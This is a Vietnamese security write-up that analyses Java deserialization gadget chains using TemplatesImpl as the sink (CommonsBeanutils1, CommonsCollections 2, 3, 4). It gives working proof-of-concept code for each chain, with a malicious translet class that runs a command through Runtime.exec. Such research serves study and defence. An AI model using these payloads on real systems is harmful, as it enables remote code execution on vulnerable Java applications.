Java Deserialization p1 - TemplateImpl class and its utilization chain

Preface

com.sun.org.apache.xalan.internal.xsltc.trax.TemplateImpl là một class nằm trong thư viện Apache Xalan có sẵn trong java runtime nhằm phục vụ quá trình transform XML document, tuy nhiên lại bị lợi dụng rất nhiều trong các bộ deserialization gadget chain do có thể thực hiện load bytecode dẫn đến thực thi command tùy ý. Bài viết sẽ phân tích chi tiết class TemplateImpl và một vài chain phổ biến sử dụng sink là TemplateImpl như bộ CommonsBeanutils hay CommonsCollections 2, 3, 4.

Load bytecode

Trước khi tìm hiểu class TemplateImpl, cùng đi qua method ClassLoader#defineClass để hiểu cơ chế load bytecode trong java.

Use ClassLoader#defineClass to load bytecode directly

defineClass thật ra là một java native method được viết bằng C giúp chuyển đổi byte stream thành một java class hoàn chỉnh trong runtime. Tuy nhiên method defineClass có thuộc tính protected nên phải tạo một subclass kế thừa nó hoặc dùng đến reflection mới có thể sử dụng trực tiếp: defineClass

Ví dụ, tạo một class Hello với default constructor in thông báo hello: Hello

Compile class này sau đó thử load bytecode bằng cách dùng reflection: Compile Thông báo đã được in

Chú ý: Khi defineClass được gọi, class object sẽ không được khởi tạo mà chỉ khi ta tự gọi đến constructor của nó ( ở đây là newInstance() ). Kể cả khi ta đặt initialization code trong static block của class thì vẫn không được thực thi khi definingClass. Vậy nên nếu muốn dùng defineClass để thực thi mã bất kì khi load bytecode ==> phải tìm cách gọi được constructor.

Load bytecode using TemplatesImpl

Như đã trình bày, do ClassLoader#defineClass không thể truy cập trực tiếp nên trong thực tế khó có thể sử dụng trong exploit chain, tuy nhiên ta có thể sử dụng một attack chain đã rất phổ biến là TemplateImpl để load bytecode, tổng quan:

TemplatesImpl.newTransformer()
	TemplatesImpl.getTransletInstance()
		TemplatesImpl.defineTransletClasses()
			TransletClassLoader.defineClass()

Trong com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl có inner class TransletClassLoader override method defineClass:

static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

     TransletClassLoader(ClassLoader parent) {
         super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
     }

    /**
     * Access to final protected superclass member from outer class.
     */
    Class defineClass(final byte[] b) { // NOTE: overridden
        return defineClass(null, b, 0, b.length);
    }
}

Do class này không khai báo scope, scope sẽ là “default” ==> Outer class TemplatesImpl có thể truy cập inner class TransletClassLoader member.

TemplatesImpl#defineTransletClasses() là method gọi TransletClassLoader#defineClass():

private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); // NOTE: gọi TransformerFactoryImpl#getExternalExtensionsMap()
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]); // NOTE: defineClass load bytecode
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) { // NOTE: check superclass
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

Tuy nhiên vẫn là private, không thể gọi trực tiếp. Để ý tại đây sau khi defineClass, class được load phải có superclass là AbstractTranslet. Tiếp đến TemplatesImpl#getTransletInstance:

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses(); // NOTE: gọi 

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // ===> NOTE: gọi constructor khởi tạo object
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setOverrideDefaultParser(_overrideDefaultParser);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

Vẫn private, để ý line 10 khởi tạo object gọi .newInstance() sau khi defineClass –> gọi constructor khởi tạo object.

Cuối cùng newTransformer():

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory); // NOTE: gọi

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

Thuộc tính đã là public, ta có thể gọi trực tiếp.

Đầu tiên, để tạo chain, cần set 3 private properties là _name, _tfactory_bytecodes:

  • _name chỉ cần khác null để gọi được đến defineTransletClasses(): _name

  • _tfactory cần là TransformerFactoryImpl object do trong TemplatesImpl#defineTransletClasses() có gọi đến method TransformerFactoryImpl#getExternalExtensionsMap(): _tfactory

  • _bytecodes là bytecode để khởi tạo malicious class, class này còn phải là subclass của com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet: _bytecodes

Ta tạo được malicious class sau:

package evil;

public class EvilTemplatesImpl extends AbstractTranslet {
    // implements interface method thuộc interface Translet:
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    
    // implements abstract method thuộc superclass AbstractTranslet:
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    public EvilTemplatesImpl() throws Exception {
        super();
        Runtime.getRuntime().exec(new String[]{"calc"});
    }
}

Để ý có thể thấy có thêm 2 methods transform() trong malicious class trên, điều này là cần thiết do trong java, subclass cần implements các abstract methods trong superclass + vì superclass là abstract class nên nó có thể không implements tất cả các interface methods nên nếu subclass của nó không phải abstract thì phải implements các interface methods còn lại.

PoC:

public class Main {
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        // java bytecode class EvilTemplatesImpl
        Path path = Paths.get("D:\\lab\\java\\CreateClass\\target\\classes\\evil\\EvilTemplatesImpl.class");
        byte[] bArr = Files.readAllBytes(path);

        TemplatesImpl tplsImpl = new TemplatesImpl();
        setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
        setFieldValue(tplsImpl, "_name", "ahihi");
        setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());

        tplsImpl.newTransformer();
    }
}

popup1

Utilization chain

Phần này sẽ phân tích một số chain sử dụng sink là TemplatesImpl

CommonsBeanutils1

Đã test bản mới nhất: 1.9.3 Full chain:

PriorityQueue.readObject()
    PriorityQueue.heapify()
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                BeanComparator.compare()
                    PropertyUtils.getProperty
                        TemplatesImpl.getOutputProperties()
                            |TemplatesImpl.newTransformer()
                            |TemplatesImpl.getTransletInstance()
                            |TemplatesImpl.defineTransletClasses()
                            |TransletClassLoader.defineClass()

Ta có TemplatesImpl#getOutputProperties cũng có thuộc tính public và gọi đến newTransformer():

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

Vậy nếu có chain invoke được getter method getOutputProperties => RCE

PropertyUtils#getProperty

Thư viện Apache Commons Beanutils cung cấp nhiều methods để làm việc với các JavaBeans trong java, trong đó có static method PropertyUtils.getProperty cho phép người dùng gọi getter method của class JavaBeans bất kỳ, ví dụ:

PropertyUtils.getProperty(new Person(), "name");

Thì commons-beanutils sẽ tự động tìm getter method từ name attribute -> getName (đơn giản là viết hoa chữ cái đầu xong prefix thêm get) và invoke method đó để lấy giá trị trả về. Ngoài ra PropertyUtils.getProperty còn hỗ trợ đệ quy, vd object a chứa b, b chứa c ==>

PropertyUtils.getProperty(a, "b.c");

==> Nhờ vào method này gọi được getter method của JavaBeans bất kỳ, chỗ nào sử dụng method này nhỉ?

BeanComparator class

Là một class trong commons-beanutils để so sánh liệu 2 JavaBeans có giống nhau, nó implements java.util.Comparator interface với method compare() gọi đến PropertyUtils.getProperty:

public int compare(T o1, T o2) {
    if (this.property == null) {
        return this.internalCompare(o1, o2);
    } else {
        try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.internalCompare(value1, value2);
        } catch (IllegalAccessException var5) {
            throw new RuntimeException("IllegalAccessException: " + var5.toString());
        } catch (InvocationTargetException var6) {
            throw new RuntimeException("InvocationTargetException: " + var6.toString());
        } catch (NoSuchMethodException var7) {
            throw new RuntimeException("NoSuchMethodException: " + var7.toString());
        }
    }
}

Method này nhận 2 objects type generic là 2 tham số, nếu this.propertynull thì so sánh 2 object trực tiếp, nếu không sẽ gọi được PropertyUtils.getProperty(o, this.property) từ cả 2 object rồi so sánh giá trị lấy được.

Vậy điều còn lại cần làm là làm sao trigger được method compare() này.

PriorityQueue#readObject –> BeanComparator#compare()

Phần còn lại của chain, java.util.PriorityQueue là class đã có sẵn trong java runtime, có thể sử dụng để gọi từ readObject() -> Object#compare khá straight forward. Đầu tiên, từ method readObject() gọi sang heapify():

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

siftDown():

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

nếu field comparator khác null sẽ sử dụng siftDownUsingComparator():

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

Tại đây comparator#compare() sẽ được gọi để compare các object trong property queue với nhau.

Vậy là đã hoàn thành chain, tạo payload thôi

PoC

package org.example;

import java.io.*;
import java.lang.reflect.Field;
import javassist.ClassPool;
import java.util.Base64;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

public class Main {
    private static String serTest(Object obj) throws Exception {
        ByteArrayOutputStream bArr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bArr);
        oos.writeObject(obj);
        oos.close();

        byte[] bytes = bArr.toByteArray();
        return Base64.getEncoder().encodeToString(bytes);
    }

    private static void deserTest(String input) throws Exception {
        byte[] bArr = Base64.getDecoder().decode(input);
        InputStream is = new  ByteArrayInputStream(bArr);
        ObjectInputStream ois = new ObjectInputStream(is);
        ois.readObject();
        ois.close();
    }

    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode();

        TemplatesImpl tplsImpl = new TemplatesImpl();
        setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
        setFieldValue(tplsImpl, "_name", "ahihi");
        setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(beanComparator);
        // replace later
        priorityQueue.add(1);
        priorityQueue.add(1); // size = 2

        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{tplsImpl, tplsImpl});
        // test me
        String serialized = serTest(priorityQueue);
        deserTest(serialized);
    }
}

Note:

  1. Ta có thể dùng method add() để thêm object vào property queue class PriorityQueue, khi size queue > 1, method add() sẽ tự gọi đến compare() ==> tự RCE máy chính mình nên ở đây mình sẽ set trước 2 value harmless để khởi tạo sau đó mới sửa lại thành TemplatesImpl object thông qua reflection.
  2. Ở đây mình dùng thêm thư viện javassist để tiện lấy bytecode từ class EvilTemplatesImpl mà không cần mò đi đọc file compiled class.

popup2

CommonsCollections2

Yêu cầu: commons-collections4==4.0 do từ version 4.1 Apache đã patch chain này. Ví dụ org.apache.commons.collections4.functors.InvokerTransformer không còn implements Serializable làm đứt chain: 4.0 4.0 4.1 4.1

Full chain:

PriorityQueue.readObject()                            |
    PriorityQueue.heapify()                           |
        PriorityQueue.siftDown()                      |
            PriorityQueue.siftDownUsingComparator() __|
                TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
                          --|TemplatesImpl.newTransformer()
                            |TemplatesImpl.getTransletInstance()
                            |TemplatesImpl.defineTransletClasses()
                            |TransletClassLoader.defineClass()

So với CommonsBeanutils1, chain CC2 chỉ khác ở phần cuối source từ TransformingComparator#compare().

TransformingComparator#compare() && InvokerTransformer#transform()

Method TransformingComparator#compare() sẽ gọi đến InvokerTransformer#transform() với arguments lần lượt là 2 object đang muốn so sánh:

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

InvokerTransformer#transform() sẽ invoke method bất kỳ từ object input với các fields iMethodName, iParamTypes, iArgs dễ dàng set qua constructor của nó:

public O transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class<?> cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            // truncated
        }
    }
}

Constructor: Constructor

Do đó ta có thể invoke luôn TemplatesImpl#newTransformer() để load bytecode

PoC

public static void main(String[] args) throws Exception {
    byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode();

    TemplatesImpl tplsImpl = new TemplatesImpl();
    setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
    setFieldValue(tplsImpl, "_name", "ahihi");
    setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());

    InvokerTransformer invTransformer = new InvokerTransformer("newTransformer", null, null);
    TransformingComparator transComparator = new TransformingComparator(invTransformer);
    PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(transComparator);
    setFieldValue(priorityQueue, "size", 2);

    setFieldValue(priorityQueue, "queue", new Object[]{tplsImpl,tplsImpl});

    String serialized = serTest(priorityQueue);
    deserTest(serialized);
}

Note: Ở đây để tránh tự RCE máy chính mình khi dùng method add() như chain CommonsBeanutils1 trên, mình dùng reflection để set luôn size=2 cho tiện.

popup3

CommonsCollections4

Yêu cầu: commons-collections4==4.0

Full chain:

PriorityQueue.readObject()                            |
    PriorityQueue.heapify()                           |
        PriorityQueue.siftDown()                      |
            PriorityQueue.siftDownUsingComparator() __|
                TransformingComparator.compare()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                            InstantiateTransformer.transform()
                                    TrAXFilter.TrAXFilter()
                                      --|TemplatesImpl.newTransformer()
                                        |TemplatesImpl.getTransletInstance()
                                        |TemplatesImpl.defineTransletClasses()
                                        |TransletClassLoader.defineClass()

TrAXFilter#TrAXFilter()

Thư viện apache xalan trong java runtime có class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter với constructor gọi đến TemplatesImpl#newTransformer(), điều kiện cần để load bytecode:

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _overrideDefaultParser = _transformer.overrideDefaultParser();
}

Tuy nhiên class này không implements interface Serializable, điều kiện đủ 😬😬: noSerializable

Cùng xem các class trước đó làm được gì và làm cách nào để khởi tạo được class này khi deserialize?

ChainedTransformer#transform()

Như đã phân tích ở CC2, TransformingComparator#compare() gọi được đến Object#transform():

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

Tuy nhiên khác với CC2, chain này không cần sử dụng InvokerTransformer#transform(), thay vào đó là ChainedTransformer#transform():

public T transform(T object) {
    Transformer[] arr$ = this.iTransformers;
    int len$ = arr$.length;

    for(int i$ = 0; i$ < len$; ++i$) {
        Transformer<? super T, ? extends T> iTransformer = arr$[i$];
        object = iTransformer.transform(object);
    }

    return object;
}
  • Method lấy một array interface Transformer[] từ field iTransformers, interface Transformer: Transformer => array này chỉ chứa các objects implements interface Transformer
  • Lặp và lấy từng iTransformer trong array này
  • Mỗi lần lặp sẽ gọi method transform() của object iTransformer tương ứng với mà argument object là kết quả của vòng lặp trước đó, riêng vòng lặp đầu tiên object là giá trị ban đầu được pass vào ChainedTransformer#transform().

==> Ý tưởng: Tìm các class có method transform() và implements interface Transform mà kết quả transform() trả về:

  • Class thứ nhất trả về class muốn khởi tạo: TrAXFilter
  • Class thứ hai khởi tạo class object này: ex TrAXFilter.newInstance()

ConstantTransformer#transform()

ConstantTransformer có method transform() trả về field iConstant, để ý argument input chẳng để làm gì:

public O transform(I input) {
        return this.iConstant;
    }

Field iConstant có object type là generic => gán được object bất kỳ:

private final O iConstant;

Dễ dàng gán iConstant qua constructor của class:

public ConstantTransformer(O constantToReturn) {
        this.iConstant = constantToReturn;
    }

InstantiateTransformer#transform()

Method này sẽ khởi tạo class object từ argument input với iParamTypesiArgs lần lượt là parameters type và arguments của constructor trong class đó

    public T transform(Class<? extends T> input) {
        try {
            if (input == null) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
            } else {
                Constructor<? extends T> con = input.getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
        } catch (NoSuchMethodException var3) {
            // truncated ...
    }

Constructor:

public InstantiateTransformer(Class<?>[] paramTypes, Object[] args) {
    this.iParamTypes = paramTypes != null ? (Class[])paramTypes.clone() : null;
    this.iArgs = args != null ? (Object[])args.clone() : null;
}

Vậy là đã đủ 2 class mà ChainedTransformer#transform() mong muốn:

  • lặp 1 ConstantTransformer#transform(1) sẽ trả về TrAXFilter.class
  • lặp 2 InstantiateTransformer#transform(TrAXFilter.class) gọi TrAXFilter.newInstance() CC4diagram

TrAXFilter.class

Như đã trình bày do class TrAXFilter không implements Serializable nên không thể sử dụng khi build chain. Tuy nhiên có thể dùng TrAXFilter.class là vì TrAXFilter.class object trả về java.lang.Class cái implements Serializable.

TrAXFilter.class dù không phải là TrAXFilter object nhưng là Class object chứa các thông tin metadata về class TrAXFilter như name, package, methods, fields,… mà có thể sử dụng để khởi tạo object trong java reflection. (here)

PoC

public static void main(String[] args) throws Exception {
    byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode();

    TemplatesImpl tplsImpl = new TemplatesImpl();
    setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
    setFieldValue(tplsImpl, "_name", "ahihi");
    setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());

    ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class); // loop 1 trả về TrAXFilter.class
    InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class}, new Object[]{tplsImpl}); // loop 2 gọi class TrAXFilter constructor
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            constTransformer, insTransformer
    });
    TransformingComparator transComparator = new TransformingComparator(chainedTransformer);
    PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(transComparator);
    setFieldValue(priorityQueue, "size", 2);

    setFieldValue(priorityQueue, "queue", new Object[]{1,1});

    String serialized = serTest(priorityQueue);
    deserTest(serialized);
}

popup4

CommonsCollections3

Yêu cầu: 3.1 <= commons-collections <= 3.2.1 && jdk7 || jdk8 < 8u71 (khá cũ)

Bài viết dùng: commons-collections 3.1, jdk8u66

Chain này khá giống CC4, khác mỗi phần source gọi đến ChainedTransformer#transform() do class TransformingComparator tại version này chưa implements Serializable nên không thể sử dụng

Full chain:

AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
        AnnotationInvocationHandler.invoke()
            LazyMap.get()
                ChainedTransformer.transform()              --|
                    ConstantTransformer.transform()           |
                        InstantiateTransformer.transform()    |
                            TrAXFilter.TrAXFilter()           |
                              --|TemplatesImpl.newTransformer()
                                |TemplatesImpl.getTransletInstance()
                                |TemplatesImpl.defineTransletClasses()
                                |TransletClassLoader.defineClass()

LazyMap#get() && AnnotationInvocationHandler#invoke()

org.apache.commons.collections.map.LazyMap#get() gọi được this.factory.transform():

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

Có thể set giá trị này qua static method là LazyMap#decorate():

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}

AnnotationInvocationHandler#invoke() là method gọi đến LazyMap#get():

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        switch (var4) {
            case "toString":
                return this.toStringImpl();
            case "hashCode":
                return this.hashCodeImpl();
            case "annotationType":
                return this.type;
            default:
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
        }
    }
}

Gọi this.memberValues.get() tại dòng 17 (set LazyMap tại đây), pass argument var4 là 1 String, var4 về sau sẽ được pass vào argument của ConstantTransformer#transform(), cái không liên quan đến việc trả về iConstant hay TrAXFilter.class nên không cần quan tâm.

Vậy làm sao để triggers được method invoke() này

Map(Proxy).entrySet() triggers AnnotationInvocationHandler#invoke()

Class AnnotationInvocationHandler implements interface InvocationHandler, là interface dùng trong implements JDK Proxy: AnnotationInvocationHandler

Interface này có method invoke() khá đặc biệt bởi với class implements interface này method invoke() sẽ được tự động gọi bất cứ khi nào ứng dụng gọi một method qua proxy instance được gán invocation handler là class đó, document trong jdk cũng đã miêu tả khá chi tiết:

public interface InvocationHandler {
/*
Processes a method invocation on a proxy instance and returns the result. This method will be invoked on an invocation handler when a method is invoked on a proxy instance that it is associated with.
...
*/
    public Object invoke(Object proxy, Method method, Object[] args)
        throws Throwable;
}

Vậy bây giờ ta cần tạo một lớp Proxy và khai báo invocation handler là class AnnotationInvocationHandler, khi method bất kỳ gọi lớp Proxy này => AnnotationInvocationHandler#invoke() đóng vai trò là invocation handler sẽ được gọi.

Method bất kỳ cụ thể ở đây này là entrySet() với field memberValues ở line 12 nằm ngay trong method AnnotationInvocationHandler#readObject():

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();
        // truncated ...

Có thể set field memberValues qua constructor của class này, field type là có thể là một class interface bất kỳ:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

Để tạo một lớp Proxy trong java runtime, ta có thể tạo Dynamic Proxy sử dụng method sau thuộc java.lang.reflect.Proxy:

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

Khá đầy đủ rồi, viết chain thôi

Chain construction

Phần sink giống CC4 mình sẽ không giải thích lại:

byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode();

TemplatesImpl tplsImpl = new TemplatesImpl();
setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
setFieldValue(tplsImpl, "_name", "ahihi");
setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());

ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class); // loop 1 trả về TrAXFilter.class
InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class},
        new Object[]{tplsImpl}); // loop 2 gọi class TrAXFilter constructor
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
        constTransformer, insTransformer
});

Gán chain ChainedTransformer vào field factory của LazyMap, field map gán object HashMap rỗng:

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer); // invoke qua factory#transform()

ChainedTransformer

Để khởi tạo sun.reflect.annotation.AnnotationInvocationHandler, do constructor có thuộc tính private/default nên phải khởi tạo qua reflection:

Class aInvocationHandlerCls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aInvocationHandlerConstructor = aInvocationHandlerCls.getDeclaredConstructors()[0];
aInvocationHandlerConstructor.setAccessible(true);

Khởi tạo object AnnotationInvocationHandler thứ nhất, đóng vai trò là invocation handler của lớp proxy. Set field memberValueslazyMap:

InvocationHandler proxyHandler = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, lazyMap);

memberValues

Tạo dynamic proxy với invocation handler vừa tạo ở trên, Proxy này cần có type là Map như field memberValues:

Map proxyMap = (Map) Proxy.newProxyInstance(
        map.getClass().getClassLoader(),
        map.getClass().getInterfaces(),
        proxyHandler
);

memberValues2

Cuối cùng, set proxy trên vào field memberValues của AnnotationInvocationHandler object thứ hai, cái sẽ được serialize:

InvocationHandler aihObj = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, proxyMap);

serialize

Tổng quan: CC3diagram

PoC

public static void main(String[] args) throws Exception {
    byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode();

    TemplatesImpl tplsImpl = new TemplatesImpl();
    setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
    setFieldValue(tplsImpl, "_name", "ahihi");
    setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());
    
    ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class); // loop 1 trả về TrAXFilter.class
    InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class},
            new Object[]{tplsImpl}); // loop 2 gọi class TrAXFilter constructor
    ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
            constTransformer, insTransformer
    });

    Map map = new HashMap();
    Map lazyMap = LazyMap.decorate(map, chainedTransformer); // factory#transform()
    
    Class aInvocationHandlerCls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor aInvocationHandlerConstructor = aInvocationHandlerCls.getDeclaredConstructors()[0];
    aInvocationHandlerConstructor.setAccessible(true);
    
    // Tạo invocation handler cho proxy
    InvocationHandler proxyHandler = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
    Map proxyMap = (Map) Proxy.newProxyInstance(
            map.getClass().getClassLoader(),
            map.getClass().getInterfaces(),
            proxyHandler
    );
    // sử dụng lại AnnotationInvocationHandler, gán proxyHandler vào field `memberValues`
    InvocationHandler aihObj = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, proxyMap);

    String serialized = serTest(aihObj);
    deserTest(serialized);
}

popup5

Từ jdk8u71, method AnnotationInvocationHandler#readObject() đã bị sửa, làm đứt chain, diff jdk8u202 vs jdk8u66: diff-jdk8u71

Thoughs

